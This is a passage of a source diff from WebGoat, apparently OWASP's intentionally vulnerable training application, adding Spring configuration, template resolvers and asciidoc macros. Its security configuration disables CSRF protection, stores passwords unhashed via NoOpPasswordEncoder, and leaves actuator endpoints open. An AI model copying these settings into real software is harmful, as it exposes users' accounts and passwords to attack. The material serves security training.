+   * Define 2 Flyway instances, 1 for WebGoat itself which it uses for internal storage like users
+   * and 1 for lesson specific tables we use. This way we clean the data in the lesson database
+   * quite easily see {@link RestartLessonService#restartLesson()} for how we clean the lesson
+   * related tables.
+   */
+  @Bean(initMethod = "migrate")
+  public Flyway flyWayContainer() {
+    return Flyway.configure()
+        .configuration(Map.of("driver", properties.getDriverClassName()))
+        .dataSource(dataSource())
+        .schemas("container")
+        .locations("db/container")
+        .load();
+  }
+
+  @Bean
+  public Function<String, Flyway> flywayLessons(LessonDataSource lessonDataSource) {
+    return schema ->
+        Flyway.configure()
+            .configuration(Map.of("driver", properties.getDriverClassName()))
+            .schemas(schema)
+            .dataSource(lessonDataSource)
+            .locations("lessons")
+            .load();
+  }
+
+  @Bean
+  public LessonDataSource lessonDataSource() {
+    return new LessonDataSource(dataSource());
+  }
+}

src/main/java/org/owasp/webgoat/container/HammerHead.java

@@ -0,0 +1,56 @@
+package org.owasp.webgoat.container;
+
+import lombok.AllArgsConstructor;
+import org.owasp.webgoat.container.session.Course;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RequestMethod;
+import org.springframework.web.servlet.ModelAndView;
+
+/**
+ * *************************************************************************************************
+ *
+ * <p>
+ *
+ * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ *
+ * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
+ *
+ * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
+ * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ *
+ * <p>Getting Source ==============
+ *
+ * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * for free software projects.
+ *
+ * @author Jeff Williams
+ * @author Bruce Mayhew
+ * @author Nanne Baars
+ * @version $Id: $Id
+ * @since October 28, 2003
+ */
+@Controller
+@AllArgsConstructor
+public class HammerHead {
+
+  private final Course course;
+
+  /** Entry point for WebGoat, redirects to the first lesson found within the course. */
+  @RequestMapping(
+      path = "/attack",
+      method = {RequestMethod.GET, RequestMethod.POST})
+  public ModelAndView attack() {
+    return new ModelAndView("redirect:" + "start.mvc" + course.getFirstLesson().getLink());
+  }
+}

src/main/java/org/owasp/webgoat/container/LessonDataSource.java

@@ -0,0 +1,70 @@
+package org.owasp.webgoat.container;
+
+import java.io.PrintWriter;
+import java.lang.reflect.Proxy;
+import java.sql.Connection;
+import java.sql.SQLException;
+import java.sql.SQLFeatureNotSupportedException;
+import java.util.logging.Logger;
+import javax.sql.DataSource;
+import org.owasp.webgoat.container.lessons.LessonConnectionInvocationHandler;
+import org.springframework.jdbc.datasource.ConnectionProxy;
+
+public class LessonDataSource implements DataSource {
+
+  private final DataSource originalDataSource;
+
+  public LessonDataSource(DataSource dataSource) {
+    this.originalDataSource = dataSource;
+  }
+
+  @Override
+  public Connection getConnection() throws SQLException {
+    var targetConnection = originalDataSource.getConnection();
+    return (Connection)
+        Proxy.newProxyInstance(
+            ConnectionProxy.class.getClassLoader(),
+            new Class[] {ConnectionProxy.class},
+            new LessonConnectionInvocationHandler(targetConnection));
+  }
+
+  @Override
+  public Connection getConnection(String username, String password) throws SQLException {
+    return originalDataSource.getConnection(username, password);
+  }
+
+  @Override
+  public PrintWriter getLogWriter() throws SQLException {
+    return originalDataSource.getLogWriter();
+  }
+
+  @Override
+  public void setLogWriter(PrintWriter out) throws SQLException {
+    originalDataSource.setLogWriter(out);
+  }
+
+  @Override
+  public void setLoginTimeout(int seconds) throws SQLException {
+    originalDataSource.setLoginTimeout(seconds);
+  }
+
+  @Override
+  public int getLoginTimeout() throws SQLException {
+    return originalDataSource.getLoginTimeout();
+  }
+
+  @Override
+  public Logger getParentLogger() throws SQLFeatureNotSupportedException {
+    return originalDataSource.getParentLogger();
+  }
+
+  @Override
+  public <T> T unwrap(Class<T> clazz) throws SQLException {
+    return originalDataSource.unwrap(clazz);
+  }
+
+  @Override
+  public boolean isWrapperFor(Class<?> clazz) throws SQLException {
+    return originalDataSource.isWrapperFor(clazz);
+  }
+}

src/main/java/org/owasp/webgoat/container/LessonTemplateResolver.java

@@ -0,0 +1,90 @@
+/**
+ * ************************************************************************************************
+ *
+ * <p>
+ *
+ * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ *
+ * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
+ *
+ * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
+ * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ *
+ * <p>Getting Source ==============
+ *
+ * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * for free software projects.
+ *
+ * @author WebGoat
+ * @version $Id: $Id
+ * @since October 28, 2003
+ */
+package org.owasp.webgoat.container;
+
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Set;
+import lombok.extern.slf4j.Slf4j;
+import org.springframework.core.io.ResourceLoader;
+import org.thymeleaf.IEngineConfiguration;
+import org.thymeleaf.templateresolver.FileTemplateResolver;
+import org.thymeleaf.templateresource.ITemplateResource;
+import org.thymeleaf.templateresource.StringTemplateResource;
+
+/**
+ * Dynamically resolve a lesson. In the html file this can be invoked as: <code>
+ * <div th:case="true" th:replace="lesson:__${lesson.class.simpleName}__"></div>
+ * </code>
+ *
+ * <p>Thymeleaf will invoke this resolver based on the prefix and this implementation will resolve
+ * the html in the plugins directory
+ */
+@Slf4j
+public class LessonTemplateResolver extends FileTemplateResolver {
+
+  private static final String PREFIX = "lesson:";
+  private ResourceLoader resourceLoader;
+  private Map<String, byte[]> resources = new HashMap<>();
+
+  public LessonTemplateResolver(ResourceLoader resourceLoader) {
+    this.resourceLoader = resourceLoader;
+    setResolvablePatterns(Set.of(PREFIX + "*"));
+  }
+
+  @Override
+  protected ITemplateResource computeTemplateResource(
+      IEngineConfiguration configuration,
+      String ownerTemplate,
+      String template,
+      String resourceName,
+      String characterEncoding,
+      Map<String, Object> templateResolutionAttributes) {
+    var templateName = resourceName.substring(PREFIX.length());
+    byte[] resource = resources.get(templateName);
+    if (resource == null) {
+      try {
+        resource =
+            resourceLoader
+                .getResource("classpath:/" + templateName)
+                .getInputStream()
+                .readAllBytes();
+      } catch (IOException e) {
+        log.error("Unable to find lesson HTML: {}", template);
+      }
+      resources.put(templateName, resource);
+    }
+    return new StringTemplateResource(new String(resource, StandardCharsets.UTF_8));
+  }
+}

src/main/java/org/owasp/webgoat/container/MvcConfiguration.java

@@ -0,0 +1,260 @@
+/**
+ * ************************************************************************************************
+ *
+ * <p>
+ *
+ * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ *
+ * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
+ *
+ * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
+ * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ *
+ * <p>Getting Source ==============
+ *
+ * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * for free software projects.
+ *
+ * @author WebGoat
+ * @version $Id: $Id
+ * @since October 28, 2003
+ */
+package org.owasp.webgoat.container;
+
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.util.Map;
+import java.util.Set;
+import lombok.RequiredArgsConstructor;
+import lombok.extern.slf4j.Slf4j;
+import org.owasp.webgoat.container.i18n.Language;
+import org.owasp.webgoat.container.i18n.Messages;
+import org.owasp.webgoat.container.i18n.PluginMessages;
+import org.owasp.webgoat.container.lessons.LessonScanner;
+import org.owasp.webgoat.container.session.LabelDebugger;
+import org.springframework.context.ApplicationContext;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.core.io.ResourceLoader;
+import org.springframework.core.io.support.ResourcePatternResolver;
+import org.springframework.web.servlet.LocaleResolver;
+import org.springframework.web.servlet.ViewResolver;
+import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
+import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
+import org.springframework.web.servlet.config.annotation.ViewControllerRegistry;
+import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
+import org.springframework.web.servlet.i18n.LocaleChangeInterceptor;
+import org.springframework.web.servlet.i18n.SessionLocaleResolver;
+import org.thymeleaf.IEngineConfiguration;
+import org.thymeleaf.extras.springsecurity5.dialect.SpringSecurityDialect;
+import org.thymeleaf.spring5.SpringTemplateEngine;
+import org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver;
+import org.thymeleaf.spring5.view.ThymeleafViewResolver;
+import org.thymeleaf.templatemode.TemplateMode;
+import org.thymeleaf.templateresolver.FileTemplateResolver;
+import org.thymeleaf.templateresolver.ITemplateResolver;
+import org.thymeleaf.templateresource.ITemplateResource;
+import org.thymeleaf.templateresource.StringTemplateResource;
+
+/** Configuration for Spring MVC */
+@Configuration
+@RequiredArgsConstructor
+@Slf4j
+public class MvcConfiguration implements WebMvcConfigurer {
+
+  private static final String UTF8 = "UTF-8";
+
+  private final LessonScanner lessonScanner;
+
+  @Override
+  public void addViewControllers(ViewControllerRegistry registry) {
+    registry.addViewController("/login").setViewName("login");
+    registry.addViewController("/lesson_content").setViewName("lesson_content");
+    registry.addViewController("/start.mvc").setViewName("main_new");
+    registry.addViewController("/scoreboard").setViewName("scoreboard");
+  }
+
+  @Bean
+  public ViewResolver viewResolver(SpringTemplateEngine thymeleafTemplateEngine) {
+    ThymeleafViewResolver resolver = new ThymeleafViewResolver();
+    resolver.setTemplateEngine(thymeleafTemplateEngine);
+    resolver.setCharacterEncoding(StandardCharsets.UTF_8.displayName());
+    return resolver;
+  }
+
+  /**
+   * Responsible for loading lesson templates based on Thymeleaf, for example:
+   *
+   * <p><div th:include="/lessons/spoofcookie/templates/spoofcookieform.html" id="content"></div>
+   */
+  @Bean
+  public ITemplateResolver lessonThymeleafTemplateResolver(ResourceLoader resourceLoader) {
+    var resolver =
+        new FileTemplateResolver() {
+          @Override
+          protected ITemplateResource computeTemplateResource(
+              IEngineConfiguration configuration,
+              String ownerTemplate,
+              String template,
+              String resourceName,
+              String characterEncoding,
+              Map<String, Object> templateResolutionAttributes) {
+            try (var is =
+                resourceLoader.getResource("classpath:" + resourceName).getInputStream()) {
+              return new StringTemplateResource(
+                  new String(is.readAllBytes(), StandardCharsets.UTF_8));
+            } catch (IOException e) {
+              return null;
+            }
+          }
+        };
+    resolver.setOrder(1);
+    return resolver;
+  }
+
+  /** Loads all normal WebGoat specific Thymeleaf templates */
+  @Bean
+  public ITemplateResolver springThymeleafTemplateResolver(ApplicationContext applicationContext) {
+    SpringResourceTemplateResolver resolver = new SpringResourceTemplateResolver();
+    resolver.setPrefix("classpath:/webgoat/templates/");
+    resolver.setSuffix(".html");
+    resolver.setTemplateMode(TemplateMode.HTML);
+    resolver.setOrder(2);
+    resolver.setCharacterEncoding(UTF8);
+    resolver.setApplicationContext(applicationContext);
+    return resolver;
+  }
+
+  /** Loads the html for the complete lesson, see lesson_content.html */
+  @Bean
+  public LessonTemplateResolver lessonTemplateResolver(ResourceLoader resourceLoader) {
+    LessonTemplateResolver resolver = new LessonTemplateResolver(resourceLoader);
+    resolver.setOrder(0);
+    resolver.setCacheable(false);
+    resolver.setCharacterEncoding(UTF8);
+    return resolver;
+  }
+
+  /** Loads the lesson asciidoc. */
+  @Bean
+  public AsciiDoctorTemplateResolver asciiDoctorTemplateResolver(
+      Language language, ResourceLoader resourceLoader) {
+    log.debug("template locale {}", language);
+    AsciiDoctorTemplateResolver resolver =
+        new AsciiDoctorTemplateResolver(language, resourceLoader);
+    resolver.setCacheable(false);
+    resolver.setOrder(1);
+    resolver.setCharacterEncoding(UTF8);
+    return resolver;
+  }
+
+  @Bean
+  public SpringTemplateEngine thymeleafTemplateEngine(
+      ITemplateResolver springThymeleafTemplateResolver,
+      LessonTemplateResolver lessonTemplateResolver,
+      AsciiDoctorTemplateResolver asciiDoctorTemplateResolver,
+      ITemplateResolver lessonThymeleafTemplateResolver) {
+    SpringTemplateEngine engine = new SpringTemplateEngine();
+    engine.setEnableSpringELCompiler(true);
+    engine.addDialect(new SpringSecurityDialect());
+    engine.setTemplateResolvers(
+        Set.of(
+            lessonTemplateResolver,
+            asciiDoctorTemplateResolver,
+            lessonThymeleafTemplateResolver,
+            springThymeleafTemplateResolver));
+    return engine;
+  }
+
+  @Override
+  public void addResourceHandlers(ResourceHandlerRegistry registry) {
+    // WebGoat internal
+    registry.addResourceHandler("/css/**").addResourceLocations("classpath:/webgoat/static/css/");
+    registry.addResourceHandler("/js/**").addResourceLocations("classpath:/webgoat/static/js/");
+    registry
+        .addResourceHandler("/plugins/**")
+        .addResourceLocations("classpath:/webgoat/static/plugins/");
+    registry
+        .addResourceHandler("/fonts/**")
+        .addResourceLocations("classpath:/webgoat/static/fonts/");
+
+    // WebGoat lessons
+    registry
+        .addResourceHandler("/images/**")
+        .addResourceLocations(
+            lessonScanner.applyPattern("classpath:/lessons/%s/images/").toArray(String[]::new));
+    registry
+        .addResourceHandler("/lesson_js/**")
+        .addResourceLocations(
+            lessonScanner.applyPattern("classpath:/lessons/%s/js/").toArray(String[]::new));
+    registry
+        .addResourceHandler("/lesson_css/**")
+        .addResourceLocations(
+            lessonScanner.applyPattern("classpath:/lessons/%s/css/").toArray(String[]::new));
+    registry
+        .addResourceHandler("/lesson_templates/**")
+        .addResourceLocations(
+            lessonScanner.applyPattern("classpath:/lessons/%s/templates/").toArray(String[]::new));
+    registry
+        .addResourceHandler("/video/**")
+        .addResourceLocations(
+            lessonScanner.applyPattern("classpath:/lessons/%s/video/").toArray(String[]::new));
+  }
+
+  @Bean
+  public PluginMessages pluginMessages(
+      Messages messages, Language language, ResourcePatternResolver resourcePatternResolver) {
+    PluginMessages pluginMessages = new PluginMessages(messages, language, resourcePatternResolver);
+    pluginMessages.setDefaultEncoding("UTF-8");
+    pluginMessages.setBasenames("i18n/WebGoatLabels");
+    pluginMessages.setFallbackToSystemLocale(false);
+    return pluginMessages;
+  }
+
+  @Bean
+  public Language language(LocaleResolver localeResolver) {
+    return new Language(localeResolver);
+  }
+
+  @Bean
+  public LocaleResolver localeResolver() {
+    SessionLocaleResolver localeResolver = new SessionLocaleResolver();
+    return localeResolver;
+  }
+
+  @Bean
+  public LocaleChangeInterceptor localeChangeInterceptor() {
+    LocaleChangeInterceptor lci = new LocaleChangeInterceptor();
+    lci.setParamName("lang");
+    return lci;
+  }
+
+  @Override
+  public void addInterceptors(InterceptorRegistry registry) {
+    registry.addInterceptor(localeChangeInterceptor());
+  }
+
+  @Bean
+  public Messages messageSource(Language language) {
+    Messages messages = new Messages(language);
+    messages.setDefaultEncoding("UTF-8");
+    messages.setBasename("classpath:i18n/messages");
+    messages.setFallbackToSystemLocale(false);
+    return messages;
+  }
+
+  @Bean
+  public LabelDebugger labelDebugger() {
+    return new LabelDebugger();
+  }
+}

src/main/java/org/owasp/webgoat/container/WebGoat.java

@@ -0,0 +1,74 @@
+/**
+ * ************************************************************************************************
+ *
+ * <p>
+ *
+ * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ *
+ * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
+ *
+ * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
+ * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ *
+ * <p>Getting Source ==============
+ *
+ * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * for free software projects.
+ *
+ * @author WebGoat
+ * @version $Id: $Id
+ * @since October 28, 2003
+ */
+package org.owasp.webgoat.container;
+
+import java.io.File;
+import org.owasp.webgoat.container.session.UserSessionData;
+import org.owasp.webgoat.container.session.WebSession;
+import org.springframework.beans.factory.annotation.Value;
+import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.context.annotation.PropertySource;
+import org.springframework.context.annotation.Scope;
+import org.springframework.context.annotation.ScopedProxyMode;
+import org.springframework.web.client.RestTemplate;
+
+@Configuration
+@ComponentScan(basePackages = {"org.owasp.webgoat.container", "org.owasp.webgoat.lessons"})
+@PropertySource("classpath:application-webgoat.properties")
+@EnableAutoConfiguration
+public class WebGoat {
+
+  @Bean(name = "pluginTargetDirectory")
+  public File pluginTargetDirectory(@Value("${webgoat.user.directory}") final String webgoatHome) {
+    return new File(webgoatHome);
+  }
+
+  @Bean
+  @Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
+  public WebSession webSession() {
+    return new WebSession();
+  }
+
+  @Bean
+  @Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
+  public UserSessionData userSessionData() {
+    return new UserSessionData("test", "data");
+  }
+
+  @Bean
+  public RestTemplate restTemplate() {
+    return new RestTemplate();
+  }
+}

src/main/java/org/owasp/webgoat/container/WebSecurityConfig.java

@@ -0,0 +1,108 @@
+/**
+ * ************************************************************************************************
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ *
+ * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
+ *
+ * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
+ * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ *
+ * <p>Getting Source ==============
+ *
+ * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * for free software projects.
+ *
+ * <p>
+ *
+ * @author WebGoat
+ * @version $Id: $Id
+ * @since December 12, 2015
+ */
+package org.owasp.webgoat.container;
+
+import lombok.AllArgsConstructor;
+import org.owasp.webgoat.container.users.UserService;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.security.authentication.AuthenticationManager;
+import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
+import org.springframework.security.config.annotation.web.builders.HttpSecurity;
+import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
+import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
+import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer;
+import org.springframework.security.core.userdetails.UserDetailsService;
+import org.springframework.security.crypto.password.NoOpPasswordEncoder;
+
+/** Security configuration for WebGoat. */
+@Configuration
+@AllArgsConstructor
+@EnableWebSecurity
+public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
+
+  private final UserService userDetailsService;
+
+  @Override
+  protected void configure(HttpSecurity http) throws Exception {
+    ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security =
+        http.authorizeRequests()
+            .antMatchers(
+                "/css/**",
+                "/images/**",
+                "/js/**",
+                "fonts/**",
+                "/plugins/**",
+                "/registration",
+                "/register.mvc",
+                "/actuator/**")
+            .permitAll()
+            .anyRequest()
+            .authenticated();
+    security
+        .and()
+        .formLogin()
+        .loginPage("/login")
+        .defaultSuccessUrl("/welcome.mvc", true)
+        .usernameParameter("username")
+        .passwordParameter("password")
+        .permitAll();
+    security.and().logout().deleteCookies("JSESSIONID").invalidateHttpSession(true);
+    security.and().csrf().disable();
+
+    http.headers().cacheControl().disable();
+    http.exceptionHandling().authenticationEntryPoint(new AjaxAuthenticationEntryPoint("/login"));
+  }
+
+  @Autowired
+  public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {
+    auth.userDetailsService(userDetailsService);
+  }
+
+  @Bean
+  @Override
+  public UserDetailsService userDetailsServiceBean() throws Exception {
+    return userDetailsService;
+  }
+
+  @Override
+  @Bean
+  protected AuthenticationManager authenticationManager() throws Exception {
+    return super.authenticationManager();
+  }
+
+  @SuppressWarnings("deprecation")
+  @Bean
+  public NoOpPasswordEncoder passwordEncoder() {
+    return (NoOpPasswordEncoder) NoOpPasswordEncoder.getInstance();
+  }
+}

src/main/java/org/owasp/webgoat/container/WebWolfRedirect.java

@@ -0,0 +1,21 @@
+package org.owasp.webgoat.container;
+
+import lombok.RequiredArgsConstructor;
+import org.springframework.context.ApplicationContext;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.servlet.ModelAndView;
+
+@Controller
+@RequiredArgsConstructor
+public class WebWolfRedirect {
+
+  private final ApplicationContext applicationContext;
+
+  @GetMapping("/WebWolf")
+  public ModelAndView openWebWolf() {
+    var url = applicationContext.getEnvironment().getProperty("webwolf.url");
+
+    return new ModelAndView("redirect:" + url + "/home");
+  }
+}

src/main/java/org/owasp/webgoat/container/asciidoc/EnvironmentExposure.java

@@ -1,4 +1,4 @@
-package org.owasp.webgoat.asciidoc;
+package org.owasp.webgoat.container.asciidoc;
 
 import org.springframework.beans.BeansException;
 import org.springframework.context.ApplicationContext;
@@ -7,19 +7,20 @@ import org.springframework.core.env.Environment;
 import org.springframework.stereotype.Component;
 
 /**
- * Make environment available in the asciidoc code (which you cannot inject because it is handled by the framework)
+ * Make environment available in the asciidoc code (which you cannot inject because it is handled by
+ * the framework)
  */
 @Component
 public class EnvironmentExposure implements ApplicationContextAware {
 
-    private static ApplicationContext context;
+  private static ApplicationContext context;
 
-    public static Environment getEnv() {
-        return context.getEnvironment();
-    }
+  public static Environment getEnv() {
+    return context.getEnvironment();
+  }
 
-    @Override
-    public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {
-        context = applicationContext;
-    }
+  @Override
+  public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {
+    context = applicationContext;
+  }
 }

src/main/java/org/owasp/webgoat/container/asciidoc/OperatingSystemMacro.java

@@ -0,0 +1,25 @@
+package org.owasp.webgoat.container.asciidoc;
+
+import java.util.Map;
+import org.asciidoctor.ast.ContentNode;
+import org.asciidoctor.extension.InlineMacroProcessor;
+
+public class OperatingSystemMacro extends InlineMacroProcessor {
+
+  public OperatingSystemMacro(String macroName) {
+    super(macroName);
+  }
+
+  public OperatingSystemMacro(String macroName, Map<String, Object> config) {
+    super(macroName, config);
+  }
+
+  @Override
+  public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
+    var osName = System.getProperty("os.name");
+
+    // see
+    // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
+    return createPhraseNode(contentNode, "quoted", osName);
+  }
+}

src/main/java/org/owasp/webgoat/container/asciidoc/UsernameMacro.java

@@ -0,0 +1,31 @@
+package org.owasp.webgoat.container.asciidoc;
+
+import java.util.Map;
+import org.asciidoctor.ast.ContentNode;
+import org.asciidoctor.extension.InlineMacroProcessor;
+import org.owasp.webgoat.container.users.WebGoatUser;
+import org.springframework.security.core.context.SecurityContextHolder;
+
+public class UsernameMacro extends InlineMacroProcessor {
+
+  public UsernameMacro(String macroName) {
+    super(macroName);
+  }
+
+  public UsernameMacro(String macroName, Map<String, Object> config) {
+    super(macroName, config);
+  }
+
+  @Override
+  public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
+    var auth = SecurityContextHolder.getContext().getAuthentication();
+    var username = "unknown";
+    if (auth.getPrincipal() instanceof WebGoatUser webGoatUser) {
+      username = webGoatUser.getUsername();
+    }
+
+    // see
+    // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
+    return createPhraseNode(contentNode, "quoted", username);
+  }
+}

src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatTmpDirMacro.java

@@ -0,0 +1,25 @@
+package org.owasp.webgoat.container.asciidoc;
+
+import java.util.Map;
+import org.asciidoctor.ast.ContentNode;
+import org.asciidoctor.extension.InlineMacroProcessor;
+
+public class WebGoatTmpDirMacro extends InlineMacroProcessor {
+
+  public WebGoatTmpDirMacro(String macroName) {
+    super(macroName);
+  }
+
+  public WebGoatTmpDirMacro(String macroName, Map<String, Object> config) {
+    super(macroName, config);
+  }
+
+  @Override
+  public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
+    var env = EnvironmentExposure.getEnv().getProperty("webgoat.server.directory");
+
+    // see
+    // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
+    return createPhraseNode(contentNode, "quoted", env);
+  }
+}

src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatVersionMacro.java

@@ -0,0 +1,25 @@
+package org.owasp.webgoat.container.asciidoc;
+
+import java.util.Map;
+import org.asciidoctor.ast.ContentNode;
+import org.asciidoctor.extension.InlineMacroProcessor;
+
+public class WebGoatVersionMacro extends InlineMacroProcessor {
+
+  public WebGoatVersionMacro(String macroName) {
+    super(macroName);
+  }
+
+  public WebGoatVersionMacro(String macroName, Map<String, Object> config) {
+    super(macroName, config);
+  }
+
+  @Override
+  public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
+    var webgoatVersion = EnvironmentExposure.getEnv().getProperty("webgoat.build.version");
+
+    // see
+    // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
+    return createPhraseNode(contentNode, "quoted", webgoatVersion);
+  }
+}

src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfMacro.java

@@ -0,0 +1,73 @@
+package org.owasp.webgoat.container.asciidoc;
+
+import java.util.HashMap;
+import java.util.Map;
+import javax.servlet.http.HttpServletRequest;
+import org.asciidoctor.ast.ContentNode;
+import org.asciidoctor.extension.InlineMacroProcessor;
+import org.springframework.web.context.request.RequestContextHolder;
+import org.springframework.web.context.request.ServletRequestAttributes;
+
+/**
+ * Usage in asciidoc:
+ *
+ * <p>webWolfLink:here[] will display a href with here as text
+ */
+public class WebWolfMacro extends InlineMacroProcessor {
+
+  public WebWolfMacro(String macroName) {
+    super(macroName);
+  }
+
+  public WebWolfMacro(String macroName, Map<String, Object> config) {
+    super(macroName, config);
+  }
+
+  @Override
+  public Object process(ContentNode contentNode, String linkText, Map<String, Object> attributes) {
+    var env = EnvironmentExposure.getEnv();
+    var hostname = determineHost(env.getProperty("webwolf.port"));
+    var target = (String) attributes.getOrDefault("target", "home");
+    var href = hostname + "/" + target;
+
+    // are we using noLink in webWolfLink:landing[noLink]? Then display link with full href
+    if (displayCompleteLinkNoFormatting(attributes)) {
+      linkText = href;
+    }
+
+    var options = new HashMap<String, Object>();
+    options.put("type", ":link");
+    options.put("target", href);
+    attributes.put("window", "_blank");
+    return createPhraseNode(contentNode, "anchor", linkText, attributes, options).convert();
+  }
+
+  private boolean displayCompleteLinkNoFormatting(Map<String, Object> attributes) {
+    return attributes.values().stream().anyMatch(a -> a.equals("noLink"));
+  }
+
+  /**
+   * Determine the host from the hostname and ports that were used. The purpose is to make it
+   * possible to use the application behind a reverse proxy. For instance in the docker
+   * compose/stack version with webgoat webwolf and nginx proxy. You do not have to use the
+   * indicated hostname, but if you do, you should define two hosts aliases 127.0.0.1
+   * www.webgoat.local www.webwolf.local
+   */
+  private String determineHost(String port) {
+    HttpServletRequest request =
+        ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
+    String host = request.getHeader("Host");
+    int semicolonIndex = host.indexOf(":");
+    if (semicolonIndex == -1 || host.endsWith(":80")) {
+      host = host.replace(":80", "").replace("www.webgoat.local", "www.webwolf.local");
+    } else {
+      host = host.substring(0, semicolonIndex);
+      host = host.concat(":").concat(port);
+    }
+    return "http://" + host + (includeWebWolfContext() ? "/WebWolf" : "");
+  }
+
+  protected boolean includeWebWolfContext() {
